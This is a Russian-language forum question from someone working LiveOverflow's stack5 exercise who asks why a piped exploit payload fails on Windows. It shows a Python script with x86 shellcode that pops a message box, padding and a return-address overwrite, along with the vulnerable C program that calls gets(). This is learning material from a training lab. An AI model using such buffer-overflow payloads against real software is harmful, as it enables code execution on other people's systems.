Невозможно передать определенные символы в другую программу из Python (Windows) - PullRequest
0 голосов
/ 13 января 2019

Я пытаюсь решить сложную задачу LiveOverflow для stack5, и по какой-то причине моя полезная нагрузка не будет правильно передаваться в программу.

Кажется, эта проблема вызвана тем, что окна не позволяют мне печатать определенные шестнадцатеричные символы в CMD.

Я использую Python 2.7.15 и команду py -2 answer.py | stack5.exe.

answer.py:

import sys

payload = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
           "\x33\xC9\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D"
           "\x03\xF8\xE2\xF0\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDA\x8B"
           "\x53\x3C\x03\xD3\xFF\x72\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33"
           "\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
           "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x49\x8B\x72\x24\x03"
           "\xF3\x66\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x52\x33\xFF"
           "\x57\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53"
           "\xFF\xD2\x68\x33\x32\x01\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65\x72\x54"
           "\xFF\xD0\x68\x6F\x78\x41\x01\x8B\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
           "\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24\x2C\x57\x68\x4F\x5F\x6F\x21\x8B"
           "\xDC\x57\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\x88\x5C\x24\x03"
           "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x40\xFF\x54\x24"
           "\x40\x57\xFF\xD0")

sys.stdout.write(('\x90' + payload + ('\xcc' * ((256 + 12) - len(payload) - 1)) +
                  '\x00\x60\xFD\xB0'[::-1]))

источник полезной нагрузки

stack5.c:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[256];

  gets(buffer);
}

Вместо всплывающего окна с сообщением 'O_o!' после конвейера программа завершает работу (возможно, из-за определенной ошибки). Есть ли способ вставить эту полезную нагрузку через трубопровод, который будет работать?

...